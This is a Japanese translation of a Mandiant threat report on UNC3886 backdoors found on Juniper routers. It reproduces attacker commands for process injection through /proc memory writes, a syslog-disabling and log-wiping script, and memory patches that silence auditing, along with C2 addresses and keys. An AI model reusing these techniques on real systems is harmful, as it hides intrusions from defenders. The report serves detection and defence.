ルーター内のゴースト: 中国との関連が疑われるエスピオナージ アクター UNC3886 が Juniper ルーターを標的に
Mandiant
※この投稿は米国時間 2025 年 3 月 12 日に、Google Cloud blog に投稿されたものの抄訳です。
はじめに
2024 年半ば、Mandiant は、脅威アクターが Juniper Networks の Junos OS ルーターにカスタム バックドアをデプロイしたことを発見しました。Mandiant は、これらのバックドアが中国との関連が疑われるエスピオナージ グループである UNC3886 によるものであると結論付けました。Mandiant は、Juniper Networks の Junos OS ルーターで動作する TINYSHELL ベースのバックドアを複数発見しました。これらのバックドアには、アクティブ バックドア機能 / パッシブ バックドア機能や、対象デバイスでのロギング メカニズムを無効にする埋め込みスクリプトなど、さまざまなカスタム機能が含まれていました。
Mandiant は Juniper Networks と協力してこのアクティビティを調査し、影響を受けた Juniper MX ルーターがサポートの終了しているハードウェアとソフトウェアを実行していたことを確認しました。Mandiant は、Juniper Networks がリリースした最新のイメージに Juniper デバイスをアップグレードすることを組織に推奨しています。このイメージには、Juniper Malware Removal Tool(JMRT)の緩和策と更新されたシグネチャが含まれています。アップグレード後は、JMRT クイック スキャンと整合性チェックを実行する必要があります。Juniper もこのインシデントに関する勧告を公開しています。
Mandiant は、2022 年と 2023 年に、UNC3886 が仮想化技術とネットワーク エッジ デバイスへのデプロイを行った、同様のカスタム マルウェア エコシステムについて報告しています。このブログ投稿では、UNC3886 の戦術、手法、手順(TTP)の進化と、その活動を可能にしているマルウェアとその機能について紹介します。UNC3886 は通常、エンドポイント検出や応答(EDR)エージェントなどのセキュリティ モニタリングや検出のソリューションが十分でないネットワーク デバイスとエッジデバイスで活動しています。
Mandiant は以前、UNC3886 が正当な認証情報を収集して使用し、ネットワーク内で検知されずにラテラル ムーブメントを行う手法に重点を置いていることを報告しました。この目的は変わりませんが、2024 年に新しいツールを導入し、さらに追跡しました。このブログ投稿で観察された事実は、攻撃者が被害者のネットワークへの長期的なアクセスを維持することに重点を置いているという Mandiant の評価を裏付けるものです。UNC3886 が、標的とするアプライアンスの基盤となるテクノロジーをよく理解していることが引き続き示されています。
本ブログ投稿の執筆時点で、Mandiant では、このブログ投稿で詳しく説明されている活動と、Volt Typhoon や Salt Typhoon として他社から公に報告されている活動の間に技術的な重複は確認されていません。
アトリビューション
UNC3886 は、中国との関連が疑われる非常に巧妙なサイバー エスピオナージ グループであり、これまでにゼロデイ エクスプロイトでネットワーク デバイスや仮想化技術を標的としてきました。UNC3886 の関心は、主に米国とアジアに拠点を置く防衛、テクノロジー、通信業界の組織に集中しているようです。このブログ投稿で説明するアクティビティは、UNC3886 がネットワーク デバイスを標的としてカスタム マルウェアを利用する数々の最新のオペレーションです。Juniper Networks の Junos OS ルーターにデプロイされたマルウェアは、UNC3886 が高度なシステム内部の詳細な知識を持っていることを示しています。さらに、UNC3886 は、パッシブ バックドアとログおよびフォレンジック アーティファクトの改ざんを組み合わせたステルス手法を優先して使用し続けており、検出のリスクを最小限に抑えながら長期的な持続性に重点を置いていることがうかがえます。
Junos OS
Juniper Networks Junos OS は、Juniper のほとんどのルーティング デバイス、スイッチング デバイス、セキュリティ デバイスに搭載されている独自のオペレーティング システムです。ベースは FreeBSD オペレーティング システムで、これを改変したものです。Junos OS は、次の 2 つの異なるオペレーション モードをサポートしています。
-
CLI モード: 標準の Junos OS CLI コマンドを発行できるモード
-
シェルモード: シェルアクセス権限を持つユーザーは、基盤となる FreeBSD シェルにアクセスして、標準の FreeBSD コマンドを発行できる
このブログ投稿で特定されたマルウェアは、主に csh シェルへのアクセスに依存していますが、場合によっては上位レイヤも認識します。
Veriexec
Junos OS には、元の NetBSD Veriexec Subsystem を改変した Verified Exec(Veriexec)サブシステムが組み込まれています。Veriexec は、カーネルベースのファイル整合性サブシステムで、バイナリ、ライブラリ、スクリプトなどの不正なコードや、デバイスの整合性を損なう可能性のあるアクティビティから Junos OS オペレーティング システム(OS)を保護します。マルウェアを実行するには、脅威アクターはまず Veriexec の保護を回避する必要がありました。
Mandiant では、サポートされているソフトウェアとハードウェアで Juniper がすでに対処している Veriexec バイパス手法が成功裏に悪用されたことを示す証拠は確認できませんでした。しかし、このブログ投稿の後半で説明するプロセス インジェクションの手法とは別に、侵害された EOL Juniper MX ルーターへの感染は、脅威アクターが実行可能なバックドアを正常にデプロイしたことを示しています。Mandiant は、脅威アクターが影響を受けたデバイスへの root アクセス権を持っていたことを特定しました。
プロセス インジェクションによる Veriexec の回避
Veriexec 保護は、不正なバイナリが実行されるのを防ぎます。Veriexec を無効にするとアラートがトリガーされるため、これは脅威アクターにとって問題となります。ただし、信頼できるプロセスのコンテキスト内であれば、信頼できないコードを実行することは可能です。Mandiant の調査で、UNC3886 が正規プロセスのメモリに悪意のあるコードを注入することで、この保護を回避できることが判明しました。この特定の手法は現在、CVE-2025-21590 として追跡されており、Juniper Network のセキュリティに関する公開情報 JSA93446 で詳しく説明されています。
保護回避のため、UNC3886 はまず、正規の認証情報を使用してネットワーク デバイスの管理に使用されるターミナル サーバーから Juniper ルーターへの特権アクセスを取得し、Junos OS CLI から FreeBSD シェルに入りました。シェル環境内で、「ヒア ドキュメント」機能を使用して、ldb.b64 という名前の Base64 エンコード ファイルを生成しました。このエンコードされたファイルは、base64 を使用してデコードされ、ldb.tar.gz という名前の圧縮アーカイブが作成されました。その後、gunzip ユーティリティと tar ユーティリティを使用して解凍および抽出され、悪意のあるバイナリが抽出されました。
Mandiant では、侵害された Juniper ルーターのファイル システム上の ldb.b64 または ldb.tar.gz の完全なコンテンツを復元できませんでした。しかし、侵害されたルーターのメモリを分析することで、3 つの悪意のあるペイロードを復元することに成功しました。ペイロードの目的は次のとおりでした。
-
loader.bin は、標準ライブラリ libc.so.7 から、exit、mmap、open、read、close などの関数を読み込み、メモリを割り当て、payload.bin から最終ペイロードを読み込んで実行するシェルコード ローダです
-
pc.bin にはメモリアドレス 0x4012f0 が含まれています
-
payload.bin は、lmpad バックドアの位置独立コード(PIC)バージョンであることが特定されました
lmpad バックドアの詳細については、マルウェア分析のセクションで説明します。
Mandiant は、脅威アクターが新たに生成された cat プロセスに悪意のあるペイロードを注入したことを確認しています。アクターは mkfifo を使用して null という名前のパイプを作成し、cat を使用してそこから継続的に読み取り、ハング状態のプロセスを効果的に作成しました。このステージでは、次のコマンドを使用します。
rm -rf null;
mkfifo null;
cat null &
set pid=$!
echo " $pid"
ハングした cat プロセスが null パイプからのデータを待っている間に、脅威アクターは dd を使用してペイロード ファイルからバイナリデータを読み取り、cat プロセス内の特定のメモリ位置に書き込みます。
dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0
dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820
最初の dd コマンドは、loader.bin から、0x4012f0 の仮想アドレス(catのエントリ ポイント)に、ローダコードを書き込みます。2 つ目の dd コマンドは、0x602820 のデータを pc.binの内容に置き換えます。Mandiant は、0x602820 が fclose のグローバル オフセット テーブル エントリであり、このメモリ位置が 0x4012f0 で上書きされていることを指摘しました。これは、pc.bin に loader.bin が注入されたメモリアドレスが含まれていることを示しています。
脅威アクターは、echo を使用して空の文字列を null パイプに送信しました。cat は、echo がデータの書き込みを完了した後にファイル終了シグナルを受信し、fclose を実行してファイルを閉じようとしました。
fclose 関数のグローバル オフセット テーブル エントリがシェルコード ローダへのエントリ ポイントに置き換えられたため、cat は実際の fclose 関数ではなくシェルコード ローダを実行し、最終的に同じディレクトリの payload.bin から最終ペイロードを読み込みました。
payload.bin が読み込まれた後、脅威アクターは null ファイルと ldb ディレクトリを削除し、現在のセッションを終了しました。これにより、悪意のあるコードを含む正当なプロセスだけが、侵害されたルーターで実行されるようになります。これらのアクションを実行するために使用されたコマンドは次のとおりです。
sleep 1;echo -n>null;sleep 1;rm -rf null
cd ..
rm -rf ldb
kill -9 $$
Mandiant の調査によると、このプロセス インジェクションは、veriexec が有効な状態で PIC バージョンの lmpad バックドアを実行することを目的としており、侵害された Juniper ルーターのファイル システムで特定された他のバックドアの実行はサポートしていません。
マルウェアの概要
Mandiant の調査では、複数の Juniper MX ルーターから 6 つの異なるマルウェア サンプルが確認されました。各サンプルは、TINYSHELL バックドアの改造バージョンですが、独自の機能があります。これらのサンプルはすべて、TINYSHELL バックドアのコア機能を組み込んでいますが、アクティベーション方法や Junos OS 固有の追加機能については大きく異なります。
次のマルウェア サンプルが特定されました。
-
appid - TINYSHELL ベースのアクティブ バックドア。appidd(Application Identification Daemon)という正当なバイナリを模倣する。
-
to - TINYSHELL ベースのアクティブ バックドア。top(Table of Processes)という正当なバイナリを模倣する。
-
irad - TINYSHELL ベースのパッシブ バックドア。irsd(Interface Replication and Synchronization Daemon)という正当なバイナリを模倣する。
-
lmpad - TINYSHELL ベースのユーティリティとパッシブ バックドア。lmpd(Link Management Protocol Daemon)という正当なバイナリを模倣する
-
jdosd - TINYSHELL ベースのパッシブ バックドア。jddosd(Juniper DDOS protection Daemon)という正当なバイナリを模倣する。
-
oemd - TINYSHELL ベースのパッシブ バックドア。oamd(Operation, Administration and Maintenance Daemon)という正当なバイナリを模倣する。
TINYSHELL
TINYSHELL は、C で記述された一般公開されている軽量のバックドアで、カスタムのバイナリ プロトコルを使用して通信します。TINYSHELL コマンドの標準セットは、次のコマンドで構成されます。
-
リモート ファイル アップロード
-
リモート ファイル ダウンロード
-
リモート シェル セッションの確立
FreeBSD 用の基本的な TINYSHELL 実装は、次に示すように、高度にカスタマイズされたバックドアの基盤となっているようです。
マルウェアの分析
appid - TINYSHELL ベースのアクティブ バックドア
サンプル 1 の appid は、C で記述されたアクティブなバックドアです。一般公開されている TINYSHELL のソースコードを基にしており、サポートされるコマンドが追加されています。以下のハードコードされたコマンド&コントロール(C2)サーバーと通信するアクティブ バックドアです。
-
TCP://129[.]126[.]109[.]50:22
-
TCP://116[.]88[.]34[.]184:22
-
TCP://223[.]25[.]78[.]136:22
-
TCP://45[.]77[.]39[.]28:22
Mandiant は、これらの IP は GOBRAT ORB ネットワークのステージング ノードであり、最終的には単一のバックエンド Adversary Controlled Operations Server(ACOS)につながると考えています。
このマルウェアは、まずリストからランダムな C2 サーバーに接続します。2 つの TCP ソケットを維持し、同じ C2 アドレスと同期を維持します。1 つのソケットはタスク リクエストに使用され、もう一つはリクエストの処理に使用されます。マルウェアは、接続が成功するまで C2 サーバーのリストを順番にローテーションし、最初のソケットを使用してタスクをリクエストします。C2 からタスクを受信した後、マルウェアは、この特定のタスクを処理するための 2 つ目のソケットを作成します。タスクが完了すると、2 つ目のソケットが閉じます。
このマルウェアは、ハードコードされた鍵を使用してすべてのネットワーク トラフィックを AES で暗号化します。次のコマンドは、標準の TINYSHELL コマンドと追加されたプロキシ機能と再構成機能を備えたマルウェアによってサポートされています。
コマンド番号 5(tshd_config)で変更できる構成項目と、関連する構成メニュー番号の一覧を以下に示します。
to - TINYSHELL ベースのアクティブ バックドア
サンプル 2(to)はサンプル 1 と同じですが、ハードコードされた C2 サーバーが異なります。
-
tcp://101[.]100[.]182[.]122:22
-
tcp://118[.]189[.]188[.]122:22
-
tcp://158[.]140[.]135[.]244:22
-
tcp://8[.]222[.]225[.]8:22
irad - TINYSHELL ベースのパッシブ バックドア
3 つ目のサンプル(irad)は、C で記述された TINYSHELL ベースのパッシブ バックドアです。libpcap ベースのパケット スニッファとして動作し、バックドア機能を有効にするマジック文字列を探してネットワーク上のパケットを検査することでコマンドを受け取ります。マルウェアは、指定した C2 アドレスに接続するアクティブ モードと、パッシブ リスニング モードの 2 つの動作モードをサポートしています。3 つの標準 TINYSHELL コマンドに加えて、2 つのカスタム コマンドとカスタム アクティベーション ルーチンを実装します。
マルウェアは libpcap ライブラリを使用して、icmp[4:2] == 0xaa56 の BPF フィルタに一致するホスト(eth 環境変数で指定されたインターフェース)上のすべてのネットワーク パケットをキャプチャします。ICMP パケットのオフセット 10 で始まる 16 バイトのデータを読み取ります。このマルウェアは境界チェックが不十分であり、予想よりも小さいパケットに遭遇した場合、パケット ペイロードの末尾を読み取る可能性があります。
ICMP タイプコード 8(Echo リクエスト)のパケットの場合、16 バイトのデータが読み取られ、1 バイトの XOR 鍵 0x86 で復号されます。次に、復号されたデータをマジック文字列 uSarguuS62bKRA0J と比較します。文字列が一致し、ICMP パケットの 8 バイトが ASCII 文字 1 または 2 と一致する場合、ICMP パケットからターゲット IP と TCP ポート番号を読み取り、指定された IP に TCP 接続を確立します(アクティブ モード)。カスタム AES と HMAC の実装を使用して通信を暗号化し、認証します。ハードコードされたキー文字列 WZtOTig2m42gXB6U を使用してセッションキーを導き出し、ハードコードされた認証トークン 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D を使用してターゲットを認証します。
ターゲット ホストへの接続を認証した後、暗号化された通信を開始します。ターゲット ホストからのレスポンスが ek63a21km7WSWkfk という文字列で始まる場合は終了し、それ以外の場合はパケットからコマンド番号をデコードします。
ICMP パケットの 8 バイトが 0 の場合、マルウェアは TCP ポート 31234 でリッスンするサーバーを生成します(パッシブモード)。リッスンしているバックドア サーバーは、前述の表に記載されている 5 つのコマンドと、同じ暗号化プロトコルと認証プロトコルをサポートします。
文字列 1spCq0BMbJwCoeZn を受信し、マルウェアが現在リスナーとして動作していて、ポート 31234 で接続を受け付けている場合は、リスニング プロセスを終了します。
lmpad - TINYSHELL ベースのユーティリティとパッシブ バックドア
サンプル 4 の lmpad は、C で記述されたユーティリティとパッシブ バックドアです。標準の TINYSHELL 機能に加えて、ロギングを阻止するために 2 つの正当な Junos OS プロセスにプロセス インジェクションを実行できる外部スクリプトを起動することもできます。このマルウェアの主な目的は、オペレーターがルーターに接続して実践的な作業を行う前に、可能な限りすべてのロギングを無効にし、オペレーターが切断した後にログを復元することです。
マルウェアは、まずポート 33615 で UDP パケットの受信を試みます。ここで、RC4 で暗号化されたメッセージを受信し、確認応答メッセージを送信します。マルウェアは、復号された受信ペイロードを以下の 16 進数バイトに対してもチェックし、一致した場合は接続を終了します。
26 e7 2b 3a 1c a2 16 2d 61 89 57 a9 cd 4c e7 3c
受信した UDP メッセージの復号に使用される RC4 暗号鍵は 0b3330c0b41d1ae2 です。
初期チェックの後、マルウェアはリスニング モードに入り、コマンドを待ちます。標準の TINYSHELL コマンド(コマンド 2、4、5)に加えて、次の 5 つのカスタム コマンドを実装しています。
コマンド 0
このコマンドは、脅威アクターがルーター上で実践的な活動の準備を行う際にロギングを阻止します。まず、圧縮された ZIP アーカイブをファイル /var/tmp/pfed_jdhcp6_trace.log に書き込みます。その後、次のコマンドラインでアーカイブを解凍し、引数 pre を使用して埋め込みスクリプトを実行し、実行後にスクリプトをクリーンアップします。
gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak;
sh /var/tmp/pfed_jdhcp6_trace.log.bak pre ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$
圧縮されていないスクリプト ファイルは次のとおりです。
pre_ssh() {
#closelog
cp /mfs/var/etc/syslog.conf /mfs/var/etc/syslog.conf0
sed -i '' 's/\/dev\/null #//g' /mfs/var/etc/syslog.conf0
sed -i '' 's/ / \/dev\/null #/g' /mfs/var/etc/syslog.conf
ps -fcA |grep eventd | awk '{ print $1 }' | xargs kill -1
#last
cp -r /var/log/utx.log /var/log/utx.log0
cp -r /var/log/wtmp /var/log/wtmp0
}
post_ssh() {
#relog
cp /mfs/var/etc/syslog.conf0 /mfs/var/etc/syslog.conf
rm -f /mfs/var/etc/syslog.conf0
ps -fcA | grep eventd | awk '{ print $1 }' | xargs kill -1
#relast
cp -r /var/log/wtmp0 /var/log/wtmp
cp -r /var/log/utx.log /var/log/utx.log0
rm -f /var/log/wtmp0
}
backup() {
#backconf
rm -rf /var/rundb+
cp -r /var/rundb /var/rundb+
cp /var/db/commits /usr/lib/libjucomm.so.1
tar -cf /config/usage_db /config/juniper.conf.*
tar -cf /var/db/config/usage_db /var/db/config/juniper.conf.*
}
restore() {
#reconfig
cp -r /var/rundb+/* /var/rundb
cp /usr/lib/libjucomm.so.1 /var/db/commits
tar -xf /config/usage_db -C /
tar -xf /var/db/config/usage_db -C /
rm -r /var/rundb+
rm -f /usr/lib/libjucomm.so.1
rm -f /config/usage_db
rm -f /var/db/config/usage_db
}
if [ $1 = "pre" ]; then
pre_ssh
elif [ $1 = "post" ]; then
post_ssh
elif [ $1 = "backup" ]; then
backup
elif [ $1 = "restore" ]; then
restore
fi
echo done
exit 0
このスクリプトは次の 4 つのコマンドを実行できます。
-
pre: syslog.conf を syslog.conf0 としてバックアップし、すべてのロギングを /dev/null にリダイレクトし、ロギングを担当する eventd デーモンに HUP シグナルを送信し、last ログと wtmp ログをバックアップします。
-
post: pre_ssh で行った変更を元に戻します。元の syslog.conf に加え last ログと wtmp ログを復元し、バックアップを削除して、eventd プロセスに別の HUP シグナルを送信します。
-
backup: 現在の Juniper 構成データベースと commit ログをバックアップし、構成ファイルをアーカイブします。
-
restore: 以前にバックアップした構成データベースと構成ファイルを復元し、バックアップを削除します。
pre_ssh スクリプトでロギングを停止した後、このコマンドは /var/run/snmpd.pid から snmpd プロセスの PID を読み取ります。また、0x8601328 アドレスから 4 バイトのデータを読み取り、dd を使用して /var/tmp/rts ファイルに書き込みます。
dd if=/proc/<pid>/mem of=/var/tmp/rts bs=1 count=4 iseek=0x8601328 2>/dev/null
次に、このデータを 0 に変更して /var/tmp/rts に書き込み、同じ dd 手法を使用して snmpd プロセスのメモリに戻します。
dd of=/proc/<pid>/mem if=/var/tmp/rts bs=1 count=4 oseek=0x8601328
conv=notrunc 2>/dev/null
これにより、アドレス 0x8601328 にある snmpd プロセスのメモリにパッチが適用されます。このパッチは、trap_configs という名前のグローバル変数を 0 に設定します。trap_configs は、モニタリング サーバーに送信される SNMP トラップを含む構造体を参照している可能性があります。これは、SNMP トラップがトリガーされないようにするのに効果的で、特定のイベントが syslog に記録されなくなったときに SNMP トラップがトリガーされないようにするためによく行われます。
その後、マルウェアは mgd(Juniper Management Daemon)プロセスに対して同様のアクションを繰り返します。/var/run/mgd.pid から mgd プロセスの PID を読み取り、前述の同じ手法を使用して、mgd プロセスのメモリから 0x84E90D8 の 4 バイトを読み取ります。これらのバイトを 57E58955 と比較します(エンディアンをスワップした後、典型的な関数のプロローグである PUSH RBP; MOV EBP,ESP; PUSH RDI 命令に逆アセンブルします)。一致する場合は、次のバイト C3D08990 でパッチを適用します。これらのバイトをリトル エンディアン順に逆アセンブルすると、NOP; MOV EAX,EDX; RET 命令になります。
このパッチは、0x84E90D8 の関数のプロローグを NOP, MOV EAX,EDX, RET に変更し、関数の残りの部分を効果的にスキップします。行動分析に基づくと、このパッチの目的は、MGD のログイン、ログアウト、cmd イベントの auditd ロギングを停止することであると考えられます。
dd を使用したこの直接的なメモリ操作により、攻撃者はプログラムの動作を変更し、セキュリティ対策を回避できます。UNC3886 は以前、同様の手法を使用していました。dd を使用して起動時のファイル システムの検証を無効化していました。このケースでは、UNC3886 は脆弱性(CVE-2022-41328)を悪用して正当な FortiOS システム バイナリを上書きし、永続性を実現してセキュリティ チェックを回避しました。
コマンド 1
このコマンドを使用すると、オペレーターがキーボード操作を終えた後に、コマンド 0 で行った操作を元に戻すことができます。sh /var/tmp/pfed_jdhcp6_trace.log.bak post を実行してロギングを復元し、snmpd と mgd のパッチも元に戻します。
コマンド 2 - CSH セッションを開始する
このコマンドは、UDP 接続を介して /bin/csh インタラクティブ セッションを開始します。フォークされたプロセスで、シェルの入力と出力を暗号化してネットワーク経由で送信します。
このコマンドは、リモートシェルを実行する前に、一連の sed コマンドを起動して、ログファイルから特定の行を削除します。
sed -i '' '/root/d' /var/log/interactive-commands
sed -i '' -e '/vi/d' -e '/set/d' -e '/gdb/d' -e '/mgd/d' /root/.history
sed -i '' '/root/d' /var/log/messages
sed -i '' '/root/d' /var/log/auth
これらのコマンドは、root という語を含む行を /var/log/interactive-commands、/var/log/messages、/var/log/authから削除します。また、vi、set、gdb、mgd のインスタンスも /root/.history から削除します。
コマンド 3 - 新しいスリープ タイムアウトをリクエストする
このコマンドを実行すると、マルウェアは現在のスリープ タイムアウトの値を含む応答を接続先に送信します。そのメッセージへのレスポンスには、メインのコマンドループで使用される新しい 4 バイトのスリープ タイムアウト(秒単位)が含まれます。
コマンド 4 - ファイルのアップロード
このコマンドを実行すると、マルウェアは指定されたファイルをリモート サーバーに送信します。
コマンド 5 - ファイルのダウンロード
このコマンドを実行すると、マルウェアはリモート サーバーからファイルをダウンロードし、ディスクに書き込みます。
コマンド 6 - 構成データベースをバックアップする
このコマンドを実行すると、マルウェアはコマンド 0 と同じスクリプトを実行しますが、引数 backup を使用して Juniper 構成データベースと commit ログをバックアップします。
gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak;
sh /var/tmp/pfed_jdhcp6_trace.log.bak backup ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$
コマンド 7 - 構成データベースの復元
このコマンドを実行すると、マルウェアはコマンド 0 と同じスクリプトを実行しますが、引数 restore を使用して Juniper 構成データベースと commit ログを復元します。
gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak;
sh /var/tmp/pfed_jdhcp6_trace.log.bak restore ;
rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ;
kill -9 $$
コマンド 8 - 新しいソケット タイムアウト値を受信する
このコマンドを実行すると、マルウェアは現在のソケット タイムアウトの値を含む応答を接続先に送信します。そのメッセージへのレスポンスには、メインのソケット タイムアウトを更新するために使用される新しい 4 バイト値が含まれます。デフォルトのソケット タイムアウト値は 300 秒です。
他のコマンドが渡された場合、マルウェアはソケットを閉じて終了します。
jdosd - TINYSHELL ベースのパッシブ バックドア
サンプル 5 の jdosd は、C で記述されたパッシブ バックドアです。ファイル転送機能とリモートシェル機能を備えた固定ポート番号で動作する UDP バックドアを実装します。
マルウェアは UDP ポート 33512 にバインドし、カスタム RC4 実装を使用します。この実装にはバグがあり、PRGA の生成中に最終状態のボックス値を適切に取得できません。トラフィックの暗号化には次の鍵が使用されます。
4fd37426-65dd-4a8d-8ba6-1382a011dae9
攻撃者は、マジック値 0xDEADBEEFを送信して、バックドアへの接続を開始します。マルウェアは、このメッセージに応答して、カスタム RC4 で暗号化された同じメッセージを送信します。その後、マルウェアは自身のプロセスのプロセス ID(pid)を C2 に送信します。
最初のビーコン送信後、マルウェアは追加のコマンドを待ちます。標準の TINYSHELL コマンド(1~3)に加えて、2 つのコマンドがサポートされています(0xAC、0xFF)。
oemd - TINYSHELL ベースのパッシブ バックドア
サンプル 6 の oemd は、C で記述されたパッシブ バックドアです。バックドアは、特定のネットワーク インターフェースにバインドすることで、C2 アドレスとポートを受け取ります。ネットワーク インターフェースは環境変数に保存されます。バックドアは TCP を介して C2 と通信します。C2 との通信は AES で暗号化され、XOR でエンコードされます。
マルウェアの構成は、次の環境変数に保存されます。
-
INTFS: バインドするネットワーク インターフェースの名前。
-
RTS: インターフェースではなく、バインドするルーティング アドレス。
-
UPRT: バインドするポート(指定されていない場合は 45678 が使用される)。
-
DAEMON: サンプルをバックグラウンドで実行する。
初期化中に、マルウェアは次のコマンドを実行して、INTFS 環境変数で指定されたインターフェースのローカル インデックス番号を取得します。
ifinfo '<interface>' | grep local-index | grep -Eo '[0-9]+'
ローカル UDP ソケットを設定すると、マルウェアは指定されたインターフェースの 0.0.0.0:<port> にバインドし、攻撃者が C2 アドレスとポートを送信するのを待ちます。UDP ソケットで C2 アドレスを受信すると、指定されたターゲットへの新しい TCP 接続が確立されます。
マルウェアは、以下の一連の標準 TINYSHELL コマンドをサポートしています。
-
1: ファイルをアップロードします。
-
2: ファイルをダウンロードします。
-
3: シェルコマンドを実行します。
シェルコマンドを実行するときに、マルウェアは HISTFILE 環境変数をクリアし、攻撃者が TERM 値を指定できるようにします。
Junos OS 固有のソケット オプション
上記のすべてのサンプルは、socket(AF_ROUTE(17), SOCK_SEQPACKET(5), 0) を使用して AF_ROUTE ソケットを作成します。これらのサンプルを標準の FreeBSD システムで実行すると、無効なソケットが返されるため、これは JunosOS 固有の実装であると考えられます。
このソケットは、オペレーティング システムのルーティング サブシステムとの通信用の接続を確立するために使用されていると考えています。AF_ROUTE 定数はルーティング操作のソケット ファミリーを指定し、SOCK_SEQPACKET は信頼性の高いメッセージ指向の接続を指定します。このソケットは、OpenBSD の rt_* メッセージと構造が似たパケットを読み書きしてインターフェース インデックスを取得するために使用されます。すべてのサンプルのうち、oemd のみが ifinfo コマンドを使用してインターフェース インデックスを取得しています。他のサンプルは、ソケットを介してカスタムの rt_* メッセージを使用しています。
カスタム メッセージには、インターフェース名と論理サブインターフェースが含まれています。Juniper のルーティング デバイスでは、サブインターフェースは VLAN ID でパケットをタグ付けするのではなく、独自の IP アドレス、ルーティング構成、場合によっては異なるセキュリティ ポリシーを持つ個別のインターフェースとして機能します。インターフェース インデックス値は、TCP または UDP のコマンドと制御ソケットの setsockopt 呼び出しに渡されます。
Linux 環境でのアクティビティ
Mandiant は、UNC3886 が同様の TTP を活用し、次のように前回のブログ投稿で詳しく説明した同じマルウェアとユーティリティを使用していることを、引き続き確認しています。
-
REPTILE、MEDUSA、SEAELF ローダ、BUSYBOX などのルートキットとユーティリティを組み合わせてコマンドを実行し、永続化を行います。
-
前述のとおり、UNC3886 は公開されている kubo/injector を使用する代わりに、公開されている wzshiming/sshd プロジェクトをベースとするカスタム SSH サーバーと PITHOOK をデプロイして、SSH 認証を乗っ取り、SSH 認証情報を取得しました。
-
TACACS+ デーモンのバイナリが、認証情報を取得するための同様の悪意のある関数を持つバックドア付きのバージョンのバイナリに置き換えられました。
-
フォレンジック対策目的での GHOSTTOWN マルウェアを使用しています。
Mandiant の調査では、データのステージングと引き出しの証拠は確認されませんでした。
見通しと影響
このブログ投稿では、中国との関連が疑われるエスピオナージ アクターがカスタム マルウェア エコシステムを使用して継続的にネットワーク インフラストラクチャを侵害し続けていることも取り上げます。UNC3886 は以前はネットワーク エッジ デバイスを標的としていましたが、この活動によりインターネット サービス プロバイダ(ISP)ルーターなどの内部ネットワーキング インフラストラクチャも標的としていることが明らかになりました。
Mandiant は、脅威アクターがターミナル アクセス コントローラ アクセス制御システム(TACACS+)などのネットワーク認証サービスと、ルーターにアクセスできるターミナル サーバーを標的とし、特権的な初期アクセスを取得しようとする事例を観察しました。
この特権アクセスにより、脅威アクターは Junos OS シェルモードに入り、制限された操作を実行できました。脅威アクターが行ったさらなる行動の調査は、独自のネットワーク デバイスの分析に固有の課題によって妨げられました。この分析には、アーティファクトの取得と分析のための新しい方法が必要でした。
Mandiant は、組織に対して次のことを推奨しています。
-
Juniper デバイスのアップグレードとセキュリティ チェックの実行: 組織は、JMRT の緩和策と更新されたシグネチャを含む最新のイメージに Juniper デバイスをアップグレードし、アップグレード後に JMRT クイック スキャンと整合性チェックを実行する必要があります。
-
安全な認証: ネットワーク デバイスを管理するための、堅牢な多要素認証(MFA)ときめ細かいロールベース アクセス制御(RBAC)を備えた、一元化された Identity and Access Management(IAM)システムを実装します。
-
構成管理: 定義済みのテンプレートと標準に対する構成の検証をサポートするネットワーク構成管理を実装し、逸脱を自動的に修正するか、手動介入のためのアラートをトリガーします。
-
モニタリングの強化: リスクの高い管理活動に対処し、優先順位を付け、検出の有効性を定期的にレビューするプロセスを備えたモニタリング ソリューションを実装します。
-
脆弱性管理: あまり知られていないオペレーティング システムを含むネットワーク デバイスの脆弱性のパッチ適用と軽減を優先します。
-
デバイス ライフサイクル管理: プロアクティブなモニタリング、自動ソフトウェア更新、サポート終了(EOL)の交換計画を含むデバイス ライフサイクル管理プログラムを実装し、ネットワーク デバイスが常にサポートされ、安全であるようにします。
-
セキュリティの強化: 厳格なアクセス制御、ネットワーク セグメンテーション、その他のセキュリティ対策を実装することで、ネットワーク デバイス、管理デバイス、およびネットワーク デバイスの管理に使用されるシステムのセキュリティ ポスチャーを強化します。
-
脅威インテリジェンス: 脅威インテリジェンスをプロアクティブに活用して、新たな脅威に対するセキュリティ管理の有効性を継続的に評価し、改善します。
スパイ活動を目的とする攻撃者の戦術における最近の傾向として、ルーティング デバイスの侵害があります。これは重要なルーティング インフラストラクチャへの長期にわたる高度なアクセスが可能で、将来的にさらに破壊的な活動を起こせる可能性を秘めているからです。こうした重要なシステムを保護し、インターネットの安定性とセキュリティを維持するには、協力して取り組んでいく必要があります。
この攻撃の影響を受ける可能性のある組織は、Mandiant のカスタム脅威ハンティング サービスを活用することを強くおすすめします。Mandiant のセキュリティ専門家チームは、隠れた脅威をプロアクティブに特定して緩和し、セキュリティ ポスチャーの明確性と信頼性を確保します。
セキュリティ侵害インジケーター
IOC の Google Threat Intelligence コレクションを登録済みユーザーの方は利用できます。Google Security Operations Enterprise+ をご利用のお客様については、新たな脅威ルールパックにルールがリリースされており、このブログ投稿に記載のセキュリティ侵害インジケーター(IOC)を利用して、高度な脅威インテリジェンスによって優先順位付けを行うことができます。
ホストベースのインジケーター
ネットワーク インジケーター
検出
YARA-L ルール
関連するルールは、Google SecOps Mandiant Intel Emerging Threats のキュレートされた検出ルールセットで入手可能です。
-
SEAELF インストーラの実行
-
GHOSTTOWN ユーティリティの実行
-
REPTILE ルートキットのコマンドライン引数の改ざん
-
REPTILE ルートキット Cmd コンポーネントの使用方法
-
REPTILE ルートキット シェル コンポーネントの使用方法
-
REPTILE ルートキット Hide コマンドの使用方法
YARA ルール
rule M_Hunting_PacketEncryptionLayer_1
{
meta:
author = "Mandiant"
strings:
$pel_1 = "pel_client_init"
$pel_2 = "pel_server_init"
